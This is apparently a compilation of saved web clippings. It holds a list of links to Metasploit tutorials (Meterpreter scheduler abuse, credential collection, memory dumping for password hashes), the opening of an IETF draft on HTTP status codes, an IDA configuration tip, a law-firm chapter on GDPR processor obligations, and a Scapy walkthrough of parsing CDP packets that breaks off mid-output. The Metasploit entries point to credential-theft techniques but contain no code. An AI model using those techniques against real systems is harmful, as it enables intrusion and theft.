## PENETRATION TESTING / FRAMEWORKS / AVAILABLE FOR FREE / METASPLOIT
TUTORIALS

| | Abusing the Scheduler with Meterpreter  
  
http://www.darkoperator.com/blog/2009/4/11/abusing-the-scheduler-with-
meterpreter.html  
Read more  
---  
| Automatic credential collection and storage with CredCollect  
  
http://carnal0wnage.blogspot.com/2009/04/automatic-credential-collection-
and.html  
Read more  
---  
| Dumping Memory to Extract Password Hashes  
  
http://carnal0wnage.blogspot.com/2009/03/dumping-memory-to-extract-
password.html  
Read more  
---  
| Metasploit and WMAP  
  
http://carnal0wnage.blogspot.com/2008/11/metasploit-and-wmap\_24.html  
Read more  
---  
| More on working with Incognito and Metasploit  
  
http://carnal0wnage.blogspot.com/2009/04/more-on-working-with-incognito-
and.html  
Read more  
---  
| MSF VBA payload Demo  
  
http://carnal0wnage.blogspot.com/2009/01/msf-vba-payload-demo.html  
---

# draft-nottingham-http-new-status-02 - Additional HTTP Status Codes

**Created:**| _10/20/2011 11:33:10 AM_  
---|---  
**Updated:**| _10/20/2011 11:33:10 AM_  
**Author:**| __  
**Tags:**| _http rfc_  
  

[code]

                          Additional HTTP Status Codes
                      draft-nottingham-http-new-status-02
    
    Abstract
    
       This document specifies additional HyperText Transfer Protocol (HTTP)
       status codes for a variety of common situations.
    
    Status of this Memo
    
       This Internet-Draft is submitted in full conformance with the
       provisions of BCP 78 and BCP 79.
    
       Internet-Drafts are working documents of the Internet Engineering
       Task Force (IETF).  Note that other groups may also distribute
       working documents as Internet-Drafts.  The list of current Internet-
       Drafts is at http://datatracker.ietf.org/drafts/current/.
    
       Internet-Drafts are draft documents valid for a maximum of six months
       and may be updated, replaced, or obsoleted by other documents at any
       time.  It is inappropriate to use Internet-Drafts as reference
       material or to cite them other than as "work in progress."
    
       This Internet-Draft will expire on April 20, 2012.
    
    Copyright Notice
    
       Copyright (c) 2011 IETF Trust and the persons identified as the
       document authors.  All rights reserved.
    
       This document is subject to BCP 78 and the IETF Trust's Legal
       Provisions Relating to IETF Documents
       (http://trustee.ietf.org/license-info) in effect on the date of
       publication of this document.  Please review these documents
       carefully, as they describe your rights and restrictions with respect
       to this document.  Code Components extracted from this document must
       include Simplified BSD License text as described in Section 4.e of
       the Trust Legal Provisions and are provided without warranty as
       described in the Simplified BSD License.
    
[/code]

# Lesser known tricks for IDA configuration · Bof. Another blog.

**Created:**| _6/8/2015 4:14:16 PM_  
---|---  
**Updated:**| _6/8/2015 4:14:16 PM_  
**Author:**| __  
**Tags:**| _iDA_  
  

# Lesser known tricks for IDA configuration

21 May 2015

This post is mainly for reference but it can be useful.

Being tired of copy/pasting my IDA config and plugins after each update, I
decided to check what I could do to centralize my config. As I'm running
Linux, I expect everything to be configurable from `~/.idapro`.

## ida.cfg

You can override configuration options for IDA in `~/.idapro/idauser.cfg`. For
example, the classic :

[code]

    #define DEMNAM_CMNT  0                  // comments
    #define DEMNAM_NAME  1                  // regular names
    #define DEMNAM_NONE  2                  // don't display
    DemangleNames   = DEMNAM_NAME           // Show demangled names as comments
    
[/code]

## IDAPython

IDApython will load `~/.idapro/idapythonrc.py` which can then be used to
specify additionnal paths to python, for example :

[code]

    import sys
    sys.path.append('/home/raph/.idapro/python')
    
[/code]

You can now add Python libraries that will be available in all your IDA
versions. For example :

[code]

    python/
    ├── miasm2 -> /home/raph/bin/python/lib/python2.7/site-packages/miasm2
    └── pyparsing.py -> /usr/lib/python2.7/dist-packages/pyparsing.py
    
[/code]

## Plugins

Unfortunately there's no easy way right now to handle a custom user directory
for plugins. While discussing the issue with Ilfak, he offered the following
workaround:

[code]

    User plugins can be handled the following way: defined IDAPLG envvar 
    that points to the user plugins directory. Create symlinks to all IDA 
    plugins from this directory.
    
[/code]

Which is not exactly the same but may help if the user has no write access to
the IDA directory. Maybe a future version will offer this feature :\)

# Chapter 11: Obligations of processors – Unlocking the EU General Data Protection Regulation | White & Case LLP International Law Firm, Global Law Practice
**Created:**| _5/31/2017 5:59:35 PM_  
---|---  
**Updated:**| _5/31/2017 5:59:35 PM_  
**Author:**| __  
**Tags:**| _Law awesome gdpr data-protection_  
  

  

Publications & Events

  *   * 

<img src='img/Temp2_1426.jpg' width='1600' height='600' alt='EU General Data
Protection Regulation (GDPR): EU's new data protection law' />

22 Jul 2016 Article

  * Dr. Detlev Gabel
  * Tim Hickman

# Chapter 11: Obligations of processors – Unlocking the EU General Data
Protection Regulation

##

Previous Chapter | Next Chapter | Index of Chapters
## **Overview**

### **Why does this topic matter to organisations?**

Under the GDPR, the concept of a "processor" does not change. Any entity that
is a processor under the Directive likely continues to be a processor under
the GDPR. However, whereas the Directive generally only imposes direct
compliance obligations on controllers, the GDPR imposes direct compliance
obligations on both controllers and processors, and both controllers and
processors will face direct enforcement and serious penalties if they do not
comply with the new EU data protection law. Therefore, it is important that
processors understand their obligations under EU data protection law.

### **What types of organisations are most affected?**

The direct legal obligations imposed on processors under the GDPR are of
obvious importance to organisations that act as processors. However, they are
also important to organisations that act as controllers, and engage processors
to process personal data on their behalf.

Under the GDPR, processors \(e.g., many outsourced service providers\) are
likely to face significantly higher costs as a direct result of the increased
compliance obligations, and those costs are likely to be passed on to
customers. Furthermore, the negotiation of processing agreements is likely to
become more complex, as processors become more careful about the terms of the
agreement and the scope of the controller's instructions.

### **What should organisations do to prepare?**

Organisations that act as processors, or act as controllers that engage
processors, should carefully review the requirements associated with
appointing processors. In particular, they should review their existing data
processing agreements and consider whether any amendments are required. Any
new data processing agreements should be drafted in accordance with the
requirements of the GDPR. In addition, each organisation that acts as a
processor should:

  * identify the data processing activities for which it is a processor;
  * ensure that it understands its responsibilities as a processor under the GDPR; and
  * ensure that it has appropriate processes and templates in place for identifying, reviewing and \(to the extent required\) promptly reporting data breaches to the relevant controller.

**Icons are used below to clarify the impact of each GDPR change. TheseGDPR
impact icons are explained here.**

  

## Detailed analysis

#### **Issue**

|

#### **The Directive**

|

#### **The GDPR**

|

#### **Impact**  
---|---|---|---  
<img src='img/spacer-125.png' width='125' height='16' alt='blank' /> **Definition of "processor"** In general terms, a "processor" is any entity or individual \(other than an employee of a controller\) that processes personal data on the controller's behalf. |  <img src='img/spacer-125.png' width='125' height='16' alt='blank' /> **Art.2\(e\)** In summary, a "processor" is an entity that processes personal data on behalf of the controller. A full definition is set out in Chapter 5. |  <img src='img/does-not-materially-change-125.png' width='125' height='16' alt='does not materially change' /> **Art.4\(8\)** In summary, a "processor" is an entity that processes personal data on behalf of the controller. A full definition is set out in Chapter 5. |  <img src='img/neutral-125.png' width='125' height='16' alt='neutral' /> The concept of a "processor" is essentially unchanged under the GDPR. Any entity that is a processor under the Directive likely continues to be a processor under the GDPR.  
<img src='img/spacer-125.png' width='125' height='16' alt='blank' /> **Appointment of processors** Organisations that act as controllers commonly appoint service providers to process personal data on their behalf. EU data protection law permits this practice, but imposes certain requirements on organisations that wish to do so. |  <img src='img/spacer-125.png' width='125' height='16' alt='blank' /> **Art.17\(2\)-\(3\)** A controller that wishes to appoint a processor must only use processors that guarantee compliance with national data protection laws which are based on the Directive. The controller must appoint the processor under a binding written agreement, which states that the processor:
  * shall only act on the controller's instructions; and
  * must ensure the security of the personal data that it processes.

|  <img src='img/materially-changes-125.png' width='125' height='16'
alt='materially changes' /> **Rec.81; Art.28\(1\)-\(3\)** A controller that
wishes to appoint a processor must only use processors that guarantee
compliance with the GDPR. The controller must appoint the processor in the
form of a binding written agreement, which states that the processor must:

  * only act on the controller's **documented** instructions;
  * **impose confidentiality obligations on all personnel who process the relevant data** ;
  * must ensure the security of the personal data that it processes;
  * **abide by the rules regarding appointment of sub-processors** ;
  * **implement measures to assist the controller in complying with the rights of data subjects** ;
  * **assist the controller in obtaining approval from DPAs where required** ;
  * **at the controller's election, either return or destroy the personal data at the end of the relationship \(except as required by EU or Member State law\)** ; and
  * **provide the controller with all information necessary to demonstrate compliance with the GDPR**.

|  <img src='img/negative-125.png' width='125' height='16' alt='negative' />
The GDPR imposes significant new requirements that must be included in all
data processing agreements. As the GDPR does not contain transitional
arrangements addressing this issue, existing agreements are affected as well
and may need to be renegotiated. It is likely that processors located outside
the EEA will resist the imposition of these new obligations, potentially
making it harder for organisations acting as controllers to lawfully appoint
their desired processors, and resulting in more complex negotiations of
outsourcing agreements.  
<img src='img/spacer-125.png' width='125' height='16' alt='blank' /> **Application** EU data protection law applies across all sectors to all organisations that are subject to the law. Whereas the Directive generally only imposes direct legal compliance obligations on controllers, the GDPR imposes direct legal compliance obligations on processors as well. |  <img src='img/spacer-125.png' width='125' height='16' alt='blank' /> **Art.4\(1\)** Each Member State is required to implement national data protection laws that impose direct legal compliance obligations on controllers that fall within the scope of the Directive \(as implemented in the national law of the relevant Member State\). |  <img src='img/materially-changes-125.png' width='125' height='16' alt='materially changes' /> **Rec.22; Art.3\(1\)** The GDPR applies to the processing of personal data by a controller **or a processor** that falls within the scope of the GDPR \(regardless of whether the relevant processing takes place in the EU or not\). |  <img src='img/negative-125.png' width='125' height='16' alt='negative' /> The Directive only imposes direct compliance obligations on controllers \(with processors generally only having contractual obligations, not direct legal compliance obligations\). The GDPR, however, imposes legal compliance obligations directly on controllers **and processors**.  
<img src='img/spacer-125.png' width='125' height='16' alt='blank' /> **Conflicts between the controller's instructions and applicable \(EU\) law** The defining feature of a processor is that a processor acts in accordance with the controller's instructions. However, a processor might face conflicting requirements between the controller's instructions and applicable law, which leads to obvious difficulties. |  <img src='img/spacer-125.png' width='125' height='16' alt='blank' /> **N/A** The Directive does not specifically address scenarios in which a processor cannot comply with the controller's instructions for legal reasons. |  <img src='img/materially-changes-125.png' width='125' height='16' alt='materially changes' /> **Art.28\(3\)\(h\)** In the event that a processor believes that the controller's instructions conflict with the requirements of the GDPR or other EU or Member State laws, **the processor must immediately inform the controller**. |  <img src='img/positive-125.png' width='125' height='16' alt='positive' /> The GDPR provides a sensible solution, requiring the processor to inform the controller that it cannot comply with the controller's instructions where those instructions conflict with applicable \(EU\) law. It is then for the controller to issue revised instructions that are consistent with applicable law. <img src='img/unknown-at-this-stage-125.png' width='125' height='16' alt='unknown at this stage' /> The GDPR provides no clear guidance on what should happen if the controller's instructions place the processor in breach of the national laws of a jurisdiction outside the EU. Presumably, this will be an issue for negotiation between the parties.  
<img src='img/spacer-125.png' width='125' height='16' alt='blank' /> **Appointment of sub‑processors** Processors may only appoint sub-processors with the permission of the controller. |  <img src='img/spacer-125.png' width='125' height='16' alt='blank' /> **Art.16** Sub-processors must only process personal data in accordance with the instructions of the controller or the requirements of applicable law. However, the Directive does not provide clear rules for the appointment of sub‑processors. |  <img src='img/materially-changes-125.png' width='125' height='16' alt='materially changes' /> **Art.28\(2\), \(4\)** **The processor must not appoint a sub-processor without the prior written consent of the controller**. Where the controller agrees to the appointment of sub-processors, those sub‑processors must be appointed on the same terms as are set out in the contract between the controller and the processor, and in any case in accordance with **Art.28\(1\)‑\(2\)** \(see above\). |  <img src='img/neutral-125.png' width='125' height='16' alt='neutral' /> Although the Directive does not directly address this issue, DPAs have generally interpreted the Directive as requiring sub-processors to be appointed on the same terms that apply to the processor, and subject to the controller's approval. Consequently, the new language in the GDPR is unlikely to make very much practical difference.  
<img src='img/spacer-125.png' width='125' height='16' alt='blank' /> **Processor's obligation of confidentiality** Processors must ensure that the personal data that they process are kept confidential. |  <img src='img/spacer-125.png' width='125' height='16' alt='blank' /> **Art.16** Processors must keep personal data confidential except on instructions from the controller, unless the processor is required by law to process those data. |  <img src='img/materially-changes-125.png' width='125' height='16' alt='materially changes' /> **Art.28\(3\)\(b\), 29** The processor must ensure that any personal data that it processes are kept confidential. **The contract between the controller and the processor must require the processor to ensure that all persons authorised to process the personal data are under an appropriate obligation of confidentiality**. |  <img src='img/neutral-125.png' width='125' height='16' alt='neutral' /> **Art.29** of the GDPR follows the provisions of **Art.16** of the Directive. Despite the new requirements regarding contractual protections, there is little practical change for either controllers or processors in this context.  
<img src='img/spacer-125.png' width='125' height='16' alt='blank' /> **Compliance with the controller's instructions** The relationship between the controller and processor is based on the principle that the processor will only process data in accordance with the controller's instructions. |  <img src='img/spacer-125.png' width='125' height='16' alt='blank' /> **Art.16** Processors must not process personal data, except in accordance with the instructions of the controller or the requirements of applicable law. |  <img src='img/does-not-materially-change-125.png' width='125' height='16' alt='does not materially change' /> **Art.29** Processors \(and any subprocessors\) shall not process personal data, except in accordance with the instructions of the controller, or the requirements of EU law or the national laws of Member States. |  <img src='img/neutral-125.png' width='125' height='16' alt='neutral' /> The GDPR essentially preserves the position set out in the Directive.  
<img src='img/spacer-125.png' width='125' height='16' alt='blank' /> **Failure to comply with the controller's instructions** It is foreseeable that a processor might depart from the controller's instructions and begin making decisions regarding the purposes for which and means by which personal data are processed. |  <img src='img/spacer-125.png' width='125' height='16' alt='blank' /> **N/A** The Directive does not specifically address the question of what happens when a processor departs from the controller's instructions. |  <img src='img/materially-changes-125.png' width='125' height='16' alt='materially changes' /> **Art.28\(10\)** Where a processor, in breach of the GDPR, determines the purposes and means of any processing activity \(i.e., if the processor makes its own decisions, rather than following the controller's instructions\), that processor **is treated as a controller in respect of that processing activity**. |  <img src='img/negative-125.png' width='125' height='16' alt='negative' /> Organisations acting as processors should be extremely cautious of this provision. In essence, any time that such an organisation processes personal data for its own purposes, rather than the purposes of the controller, that organisation becomes a controller, and is subject to the full compliance obligations of a controller in relation to that processing.  
<img src='img/spacer-125.png' width='125' height='16' alt='blank' /> **Records of processing activities** In order to ensure compliance, EU data protection law requires processors to ensure that they keep records of their data processing activities, and that the information in those records is provided to \(or is available on request by\) DPAs. |  <img src='img/spacer-125.png' width='125' height='16' alt='blank' /> **N/A** The Directive does not specifically require processors to maintain records of any kind. In almost all Member States \(other than the Republic of Ireland\) there is no obligation on processors to register with the DPA. |  <img src='img/materially-changes-125.png' width='125' height='16' alt='materially changes' /> **Rec.82; Art.30\(2\)** **Each processor \(and its representative, if any\) must keep records of its processing activities performed on behalf of the controller** , including:
  * the details of the controller/processor and any representatives/DPO;
  * the categories of processing activities performed;
  * information regarding Cross-Border Data Transfers; and
  * a general description of the security measures implemented in respect of the processed data.

|  <img src='img/negative-125.png' width='125' height='16' alt='negative' />
Organisations acting as processors \(or their representatives\) are subject to
this new obligation of maintaining records of processing activities in order
to provide, upon request, the recorded information to the DPA. This is likely
to require significant investment by processors in record-keeping functions.  
<img src='img/spacer-125.png' width='125' height='16' alt='blank' /> **Cooperation with DPAs** DPAs are responsible for implementing and regulating EU data protection law. |  <img src='img/spacer-125.png' width='125' height='16' alt='blank' /> **N/A** The Directive does not require processors to cooperate with DPAs. Instead, the national laws of Member States require controllers to cooperate with DPAs, and the Directive requires processors to act on the instructions of those controllers \(see above\). |  <img src='img/materially-changes-125.png' width='125' height='16' alt='materially changes' /> **Art.31** **Processors \(and their representatives, if any\) are required to cooperate, on request, with DPAs in the performance of their tasks**. |  <img src='img/negative-125.png' width='125' height='16' alt='negative' /> The GDPR fundamentally changes the obligations of processors in this regard. Whereas, processors typically have no direct interaction with DPAs under the Directive, they are obliged to interact with and assist DPAs under the GDPR.  
<img src='img/spacer-125.png' width='125' height='16' alt='blank' /> **Data security** EU data protection law obliges processors to ensure the security of personal data that they process. |  <img src='img/spacer-125.png' width='125' height='16' alt='blank' /> **N/A** The Directive requires controllers to implement contracts that oblige processors to ensure the security of any personal data they process. However, the Directive does not impose any data security obligations directly on processors. |  <img src='img/materially-changes-125.png' width='125' height='16' alt='materially changes' /> **Art.28\(1\), \(3\)\(e\), \(4\), 32** Processors must implement appropriate technical and organisational security measures to protect personal data against accidental or unlawful destruction or loss, alteration, unauthorised disclosure or access. **Depending on the nature of the processing, these may include** :
  * **encryption of the personal data** ;
  * **on-going reviews of security measures** ;
  * **redundancy and back-up facilities** ; **and**
  * **regular security testing**.

Adherence to an approved Code of Conduct \(see Chapter 12\) may provide evidence that the processor has met these obligations. |  <img src='img/negative-125.png' width='125' height='16' alt='negative' /> The Directive requires controllers to contractually impose data security requirements on processors. However, the GDPR imposes these requirements directly upon processors, and exposes processors to fines, penalties and compensation claims for failure to satisfy those requirements. Consequently, the level of risk faced by processors under the GDPR is significantly elevated.  
<img src='img/spacer-125.png' width='125' height='16' alt='blank' /> **Data breach reporting** One of the key issues in maintaining the security of personal data is ensuring that the relevant decision-makers are aware of any data breaches and are able to react accordingly. |  <img src='img/spacer-125.png' width='125' height='16' alt='blank' /> **N/A** The Directive is silent on the issue of data breach reporting by processors. |  <img src='img/materially-changes-125.png' width='125' height='16' alt='materially changes' /> **Art.33\(2\)** Processors must **notify any data breach to the controller without undue delay**. |  <img src='img/negative-125.png' width='125' height='16' alt='negative' /> For processors, this obligation creates an additional burden. <img src='img/positive-125.png' width='125' height='16' alt='positive' /> For controllers, this obligation provides an extra layer of assurance that data breaches will be properly reported.  
<img src='img/spacer-125.png' width='125' height='16' alt='blank' /> **Obligation to appoint a DPO** In certain circumstances, EU data protection law requires a person to be formally appointed to the role of DPO, in order to oversee an organisation's data protection compliance \(see Chapter 12\). |  <img src='img/spacer-125.png' width='125' height='16' alt='blank' /> **N/A** The Directive does not require processors to appoint DPOs. |  <img src='img/materially-changes-125.png' width='125' height='16' alt='materially changes' /> **Art.37** To the extent that the GDPR **requires the appointment of a DPO** \(see Chapter 12\), **that requirement applies to processors**. |  <img src='img/negative-125.png' width='125' height='16' alt='negative' /> Some organisations that act as processors are likely to consider this to be a burdensome requirement and an expense. <img src='img/positive-125.png' width='125' height='16' alt='positive' /> Over the long-term, the appointment of a DPO may help to reduce the risk of non‑compliance with the GDPR.  
<img src='img/spacer-125.png' width='125' height='16' alt='blank' /> **Restrictions on Cross-Border Data Transfers** EU data protection law restricts Cross-Border Data Transfers unless the transfer is to an Adequate Jurisdiction, a lawful transfer mechanism exists, or an exemption or derogation applies \(see Chapter 13\). |  <img src='img/spacer-125.png' width='125' height='16' alt='blank' /> **N/A** The Directive does not directly address the issue of Cross-Border Data Transfers performed by processors \(on the basis that the controller bears responsibility for the processor's actions, the processor can only act on the controller's instructions, and the controller is subject to the relevant restrictions\). |  <img src='img/materially-changes-125.png' width='125' height='16' alt='materially changes' /> **Art.44** Under the GDPR, the **obligations regarding Cross‑Border Data Transfers** \(see Chapter 13\) **apply directly to processors**. |  <img src='img/negative-125.png' width='125' height='16' alt='negative' /> In theory, processors should already be complying with the rules regarding Cross-Border Data Transfers \(on the basis of the instructions issues by the relevant controller\). However, in practice, the possibility of direct statutory liability for processors \(as well as contractual liability of processors to controllers\) creates a new category of risk for processors that engage in such transfers.  
<img src='img/spacer-125.png' width='125' height='16' alt='blank' /> **Liability of processors** EU data protection law recognises the possibility that processors may be liable for breaches of their legal or contractual obligations. |  <img src='img/spacer-125.png' width='125' height='16' alt='blank' /> **N/A** Where a processor breaches a contract with the controller, it may have contractual liability to the controller. However, processors have no direct liability under the Directive, and data subjects cannot bring claims directly against processors. |  <img src='img/materially-changes-125.png' width='125' height='16' alt='materially changes' /> **Rec.146; Art.82\(1\)-\(2\)** **Data subjects can bring claims directly against processors**. However, a processor is liable for the damage caused by its processing activities only where it has:
  * not complied with obligations under the GDPR that are specifically directed to processors; or
  * acted outside or contrary to lawful instructions of the controller.

|  <img src='img/negative-125.png' width='125' height='16' alt='negative' />
For processors, the possibility of direct liability is a new risk to grapple
with. <img src='img/positive-125.png' width='125' height='16' alt='positive'
/> For controllers, the fact that processors may be directly liable for their
own breaches may mean that a controller \(if it is not also in breach of the
GDPR\) may, in some cases, avoid liability for breaches committed by its
processors \(provided that the controller is not at fault\).  
## **Further analysis**

### **Commentary: Processors and the law**

Under the Directive, a processor's obligations and liabilities are governed
almost exclusively by the processor's contract with the controller. The
Directive only permits claims by data subjects to be brought against
processors in very limited circumstances.

The GDPR introduces a paradigm shift in the relationship between processors
and EU data protection law. In particular, processors are subject to fines and
penalties for breaches of the GDPR, which can be up to the greater of €20
million or four percent of annual worldwide turnover \(see Chapter 16\). In
addition, data subjects may bring claims for compensation directly against
processors. As a result, many organisations that act as processors will need
to completely re-think their approach to data protection compliance.

### **Example: Data processing agreements**

**Q.** Organisation A is a controller. It wishes to appoint a processor,
Service Provider B, to process personal data on its behalf. Organisation A
already has a standard data processing agreement that addresses the
requirements under the Directive. How does Organisation A's standard
processing agreement need to change in order to satisfy the requirements of
the GDPR?

**A.** Many existing "pro-controller" processing agreements already contain
some \(or all\) of the requirements specified in **Art.28\(3\)** of the GDPR.
Organisation A will need to:

  * review its standard data processing agreement and determine whether that agreement addresses all of the requirements specified in **Art.28\(3\)** of the GDPR; and
  * to the extent that the standard data processing agreement does not address all of those requirements, it will need to be amended.

### **Example: Changes to the controller's instructions**

**Q.** Organisation X is a controller. It wishes to appoint a processor,
Service Provider Y, to process personal data on its behalf. The data
processing agreement states \(in accordance with the GDPR\) that Service
Provider Y must process the relevant personal data in accordance with
Organisation X's instructions. Service Provider Y objects to this language, on
the grounds that Organisation X may change its instructions in a way that,
while compliant with the law, costs Service Provider Y more money to
implement. How should the parties address this issue?

**A.** This issue is a common point of disagreement between controllers and
processors. In most cases, it can be addressed by including in the agreement
provisions along the following lines:

  * Service Provider Y shall only process the relevant personal data in accordance with Organisation X's instructions;
  * to the extent that Service Provider Y cannot comply with a change to Organisation X's instructions without incurring material additional costs, Service Provider Y shall: \(i\) immediately inform Organisation X, giving full details of the problem; and \(ii\) cease all processing of the affected data \(other than securely storing those data\) until revised instructions are received; and
  * any changes in Organisation X's instructions that affect the pricing structure or commercial relationship between the parties should go through an appropriate change control procedure.

NEXT CHAPTER  
Chapter 12: Impact assessments, DPOs and Codes of Conduct

**Unlocking the EU General Data Protection Regulation:  
A practical handbook on the EU's new data protection law**

Foreword

Chapter 1: Introduction

Chapter 2: Preparing for the GDPR

Chapter 3: Subject matter and scope

Chapter 4: Territorial application

Chapter 5: Key definitions

Chapter 6: Data Protection Principles

Chapter 7: Lawful basis for processing

Chapter 8: Consent

Chapter 9: Rights of data subjects

Chapter 10: Obligations of controllers

Chapter 11: Obligations of processors

Chapter 12: Impact assessments, DPOs and Codes of Conduct

Chapter 13: Cross-Border Data Transfers

Chapter 14: Data Protection Authorities

Chapter 15: Cooperation and consistency

Chapter 16: Remedies and sanctions

Chapter 17: Issues subject to national law

Chapter 18: Relationships with other laws

Chapter 19: Transitional provisions

Chapter 20: Glossary

Our Global Data, Privacy & Cyber Security Practice

If you would like to request a hard copy of this Handbook, please do so here.

This publication is provided for your convenience and does not constitute
legal advice. This publication is protected by copyright.  
© 2016 White & Case LLP

### Related Content

####  Contacts

<img src='img/Temp2_1424.jpg' width='720' height='500' alt='Detlev Gabel' />

Dr. Detlev Gabel

<img src='img/Temp2_1425.jpg' width='720' height='500' />

Tim Hickman

view less

####  Services

<img src='img/Temp2_1427.jpg' width='720' height='500' alt='Data, Privacy &
Cyber Security' />

Data, Privacy & Cybersecurity

view all

  

# Security and Networking - Blog - Parsing CDP Packets with Scapy

**Created:**| _4/13/2011 8:18:09 AM_  
---|---  
**Updated:**| _4/13/2011 8:18:09 AM_  
**Author:**| __  
**Tags:**| _python analysis network-security_  
  

## Parsing CDP Packets with Scapy

<img src='img/transparent.png' alt='Date' />Monday, April 11, 2011 at 7:37PM

Scapy is a library for python designed for the manipulation of packets, in
addition we can forge or decode packets of a wide number of protocols, send
them on the wire, capture them, match requests and replies, and much more. It
is a Swiss army knife of packet manipulation in python. It can be ran
interactively or as part of a script.

In this blog post I will cover how to use one of the new parsers to parse CDP
packets included in version 2.2 of scapy. Cisco Discovery Protocol \(CDP\) is
a proprietary Layer 2 Data Link Layer network protocol used to share device
information with devices connected on the same subnet. Even do most new
networks are migrating to Link Layer Discovery Protocol \(LLDP\) the Cisco
Discovery Protocol is in used by many, even both protocols are enabled at the
same time on cisco switches and routers to provide interoperability with third
party equipment from HP and Juniper.

In our case we will focus on CDP. The first thing to do is to make sure that
we are running the latest version of scapy since during my experimentation
with Scapy and CDP I summited several bug reports and they where quickly fixed
after the release of version 2.2. So do make sure you are running the latest
dev version by downloading and installing from the Mecurial repository used by
the project at http://trac.secdev.org/scapy

Once install we can just run from the command prompt in Linux the command
scapy an enter in to the interactive shell so we can see what info we can gain
from a capture CDP Packet in a pcap file. Lets start the shell:

[/code]

[code]

    carlos@infidel01:~/Development/scapy$ ./run_scapy
    
[/code]

[code]

    
    
[/code]

[code]

    WARNING: No route found for IPv6 destination :: (no default route?)
    
[/code]

[code]

    
    
[/code]

[code]

    Welcome to Scapy (2.2.0-dev)
    
[/code]

[code]

    
    
[/code]

[code]

    >>>
    
[/code]

[code]

    
    
[/code]

The next thing we need to do is list the contributed libraries that came with
Scapy 2.2 this is achieved with the call list\_contrib\(\):

[/code]

[code]

    >>> list_contrib()
    
[/code]

[code]

    
    
[/code]

[code]

    vqp                 : VLAN Query Protocol                      status=loads
[/code]

[code]

    
    
[/code]

[code]

    cdp                 : Cisco Discovery Protocol                 status=loads
[/code]

[code]

    
    
[/code]

[code]

    ripng               : RIPng                                    status=loads
[/code]

[code]

    
    
[/code]

[code]

    skinny              : Skinny Call Control Protocol (SCCP)      status=loads
[/code]

[code]

    
    
[/code]

[code]

    igmpv3              : IGMPv3                                   status=loads
[/code]

[code]

    
    
[/code]

[code]

    ubberlogger         : Ubberlogger dissectors                   status=untested
    
[/code]

[code]

    
    
[/code]

[code]

    dtp                 : DTP                                      status=loads
[/code]

[code]

    
    
[/code]

[code]

    bgp                 : BGP                                      status=loads
[/code]

[code]

    
    
[/code]

[code]

    rsvp                : RSVP                                     status=loads
[/code]

[code]

    
    
[/code]

[code]

    wpa_eapol           : WPA EAPOL dissector                      status=loads
[/code]

[code]

    
    
[/code]

[code]

    mpls                : MPLS                                     status=loads
[/code]

[code]

    
    
[/code]

[code]

    ospf                : OSPF                                     status=loads
[/code]

[code]

    
    
[/code]

[code]

    chdlc               : Cisco HDLC and SLARP                     status=loads
[/code]

[code]

    
    
[/code]

[code]

    etherip             : EtherIP                                  status=loads
[/code]

[code]

    
    
[/code]

[code]

    avs                 : AVS WLAN Monitor Header                  status=loads
[/code]

[code]

    
    
[/code]

[code]

    ikev2               : IKEv2                                    status=loads
[/code]

[code]

    
    
[/code]

[code]

    igmp                : IGMP/IGMPv2                              status=loads
[/code]

[code]

    
    
[/code]

[code]

    vtp                 : VLAN Trunking Protocol (VTP)             status=loads
[/code]

[code]

    
    
[/code]

[code]

    eigrp               : EIGRP                                    status=loads
[/code]

[code]

    
    
[/code]

[code]

    >>>
    
[/code]

[code]

    
    
[/code]

As it can been support for several new protocols was added. we can also see
that some of them load and others are untested. This protocols are
contributions by external developers to the project. To load the support for
CDP we just issue the command load\_contrib\(\)

[/code]

[code]

    >>> load_contrib("cdp")
    
[/code]

[code]

    
    
[/code]

[code]

    >>>
    
[/code]

[code]

    
    
[/code]

I have a pcap file on the same folder with CDP packets in it so we can have a
look at how they look, to read the packets we use the rdpcap\(\) call to read
them in to a variable.

[/code]

[code]

    >>> cdp_pkts = rdpcap("cdp.cap")
    
[/code]

[code]

    
    
[/code]

[code]

    >>> len(cdp_pkts)
    
[/code]

[code]

    
    
[/code]

[code]

    16
    
[/code]

[code]

    
    
[/code]

As it can be seen there are 16 packets in this capture. Lets take a look at
the first packets:

[/code]

[code]

    >>> cdp_p = cdp_pkts[1]
    
[/code]

[code]

    
    
[/code]

[code]

    >>> cdp_p
    
[/code]

[code]

    
    
[/code]

[code]

    <Dot3  dst=01:00:0c:cc:cc:cc src=00:19:06:ea:b8:85 len=386 |<LLC  dsap=0xaa ssap=0xaa ctrl=3 |<SNAP  OUI=0xc code=0x2000 
    
[/code]

[code]

    
    
[/code]

[code]

    |<CDPv2_HDR  vers=2 ttl=180 cksum=0xb0bd msg=[<CDPMsgDeviceID  type=Device ID len=10 val='Switch' |>, <CDPMsgSoftwareVersion 
    
[/code]

[code]

    
    
[/code]

[code]

    type=Software Version len=196 val='Cisco IOS Software, C3560 Software (C3560-ADVIPSERVICESK9-M), Version 12.2(25)SEB4, RELEASE
    
[/code]

[code]

    
    
[/code]

[code]

     SOFTWARE (fc1)\nCopyright (c) 1986-2005 by Cisco Systems, Inc.\nCompiled Tue 30-Aug-05 17:56 by yenanh' |>, <CDPMsgPlatform  
    
[/code]

[code]

    
    
[/code]

[code]

    type=Platform len=24 val='cisco WS-C3560G-24PS' |>, <CDPMsgAddr  type=Addresses len=17 naddr=1 addr=[<CDPAddrRecordIPv4  
    
[/code]

[code]

    
    
[/code]

[code]

    ptype=NLPID plen=1 proto='\xcc' addrlen=4 addr=192.168.0.1 |>] |>, <CDPMsgPortID  type=Port ID len=22 iface='GigabitEthernet0/5' 
    
[/code]

[code]

    
    
[/code]

[code]

    |>, <CDPMsgCapabilities  type=Capabilities len=8 cap=Switch+IGMPCapable |>, <CDPMsgProtoHello  type=Protocol Hello len=36 
    
[/code]

[code]

    
    
[/code]

[code]

    val='\x00\x00\x0c\x01\x12\x00\x00\x00\x00\xff\xff\xff\xff\x01\x02!\xff\x00\x00\x00\x00\x00\x00\x00\x19\x06\xea\xb8\x80\xff\x00\x00' 
    
[/code]

[code]

    
    
[/code]

[code]

    |>, <CDPMsgVTPMgmtDomain  type=VTP Mangement Domain len=7 val='Lab' |>, <CDPMsgNativeVLAN  type=Native VLAN len=6 vlan=1 |>,
    
[/code]

[code]

    
    
[/code]

[code]

    <CDPMsgDuplex  type=Duplex len=5 duplex=Full |>, <CDPMsgGeneric  type=Trust Bitmap len=5 val='\x00' |>, <CDPMsgGeneric  
    
[/code]

[code]

    
    
[/code]

[code]

    type=Untrusted Port CoS len=5 val='\x00' |>, <CDPMsgMgmtAddr  type=Management Address len=17 naddr=1 addr=[<CDPAddrRecordIPv4  
    
[/code]

[code]

    
    
[/code]

[code]

